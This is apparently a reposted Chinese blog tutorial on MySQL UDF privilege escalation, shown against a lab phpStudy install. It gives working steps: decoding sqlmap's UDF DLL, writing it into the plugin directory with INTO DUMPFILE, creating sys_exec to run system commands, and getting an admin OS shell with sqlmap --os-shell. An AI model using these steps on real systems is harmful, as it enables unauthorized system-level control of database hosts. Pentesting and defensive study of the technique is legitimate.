linux下 udf提权_MYSQL提权--UDF提权

发布时间:2023-05-04 12:00

前言:

udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限

什么是UDF:

udf(Userdefined function)是用户自定义函数

在mysql中函数是什么,比如mysql中常见的sleep(),sum(),ascii()等都是函数

udf就是为了让我们开发者能够自己写方便自己函数,它有3种返回值,这三种分别是STRING,INTEGER,REALSTRING 字符型

INTEGER 整型

REAL 实数型

提权的前提:mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的libplugin文件夹下

mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:windowssystem32目录,在windows server - - 2000下放置在c:winntsystem32目录。

掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。

版本大于5.1的udf.dll放到mysql安装目录的libplugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建libplugin文件夹,然后将udf.dll导出到这个目录。

windows下MySQL提权:

首先、查看一下MySQL是32位的还是64位的,查看这个有几种方式:mysql -V

mysql --version

进入MySQL数据库中,执行: show variables like \'%version_%\';

我这里使用PHPstudy建立的MySQL数据库来演示

\"linux下

可以看到我这里的数据库是32位的,那么一会我们先使用sqlmap自带的udf.dll来进行提权

查看数据库版本,方法如下:select version() from dual; //使用SQL语句查询

使用mysql -u -p的方式连接数据库后通过登录信息可以看到数据库版本

使用mysql -u -p的方式连接数据库后执行 status 或者 s 也可以看到数据库版本

通过查看我这里的MySQL版本是5.5.53,是个高版本MySQL数据库

然后我们接下来看看MySQL的文件导出功能有没有开启,这里使用的查看语句是:SHOW VARIABLES LIKE \"secure_file_priv\";

\"linux下

发现文件导出功能是关闭的,这个时候我们就需要想办法修改my.ini这个文件的配置,使 \"secure_file_priv=\"有这个参数

接下来、获取插件路径:select @@basedir;

select @@plugin_dir;

show variables like \'%plugins%\';

\"linux下

然后我们将udf.dll文件导入到MySQL插件目录中

找到本地sqlmap中的udf.dll文件,选择Windows及MySQL32位的,进行上传导入,这里需要注意的是sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py。python cloak.py -d -i /usr/local/Cellar/sqlmap/1.2.11/libexec/udf/mysql/windows/32/lib_mysqludf_sys.dll_

\"11a3b44649f29a9ed9e9a533c1078f3d.png\"

解码后上传发现报错,这里的原因是由于MySQL安装在了C盘,没有权限写入SELECT LOAD_FILE(\'/usr/local/Cellar/sqlmap/1.2.11/libexec/udf/mysql/windows/32/lib_mysqludf_sys.dll\') into DUMPFILE \'C:\\\\phpStudy\\\\PHPTutorial\\\\MySQL\\\\lib\\\\plugin\\\\udf.dll\';

\"linux下

所以在Windows系统下如果MySQL在C盘的话,基本上就可以略过UDF提权的办法了

接下来我将数据库装到别的盘进行尝试,我这里装到了E盘

\"linux下

可以看到,依然无法导入,这里的原因是由于MySQL的lib下没有plugin这个目录导致的

\"linux下

该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录。

为了方便测试,我这里直接新建一个然后将dll导入到plugin里,导入方法不限,只要你想办法弄进去就行

\"linux下

导入成功,接着就可以使用上传上去的这个dll文件创建一个函数CREATE FUNCTION sys_exec RETURNS STRING SONAME \'udf.dll\';

\"linux下

执行系统命令,因为我MySQL连接工具执行的没有回显,所以这里弹一个计算器演示,这时,我们的权限就已经是系统管理员的权限了select sys_exec(\'calc\');

成功弹出计算器,那么这个时候我们就可以添加用户,等等之类的。

下面在介绍另外一种方法,就是直接使用sqlmap自动提权,当然前提是要满足上面说的条件后才可以,我这里就直接演示sqlmap -d \"mysql://root:root@192.168.10.113:3306/test\" --os-shell

可以看到,已经是管理员权限。

上面说的我的MySQL版本是5.5.53,也就是MySQL的高版本,当然,用提权专用的webshell也是可以的,如下图

\"linux下

至于MySQL版本小于5.1的,就特别轻松了,还是上面的思路,但是比上面的简单,这里就不再赘述。

Linux下MySQL提权:

其实Linux下提权与Windows下的套路相同,不过就是有一些注意的点是上面和Windows一样,用cloak.py解码so文件,然后进行上传,其他基本一样。

当然UDF的提权不仅仅只是这一种方法,还有提取文件的十六进制生成新的16进制等等,这里不再赘述。

总结:通过select @@basedir; //查看安装目录,必须不能在C盘

通过show variables like ‘%secure%’; //查看参数当前状态,为空,不能为NULL

如果不能满足上面这两条,成功提权的几率就很小了

ItVuer - 免责声明 - 关于我们 - 联系我们

本网站信息来源于互联网,如有侵权请联系:561261067@qq.com

桂ICP备16001015号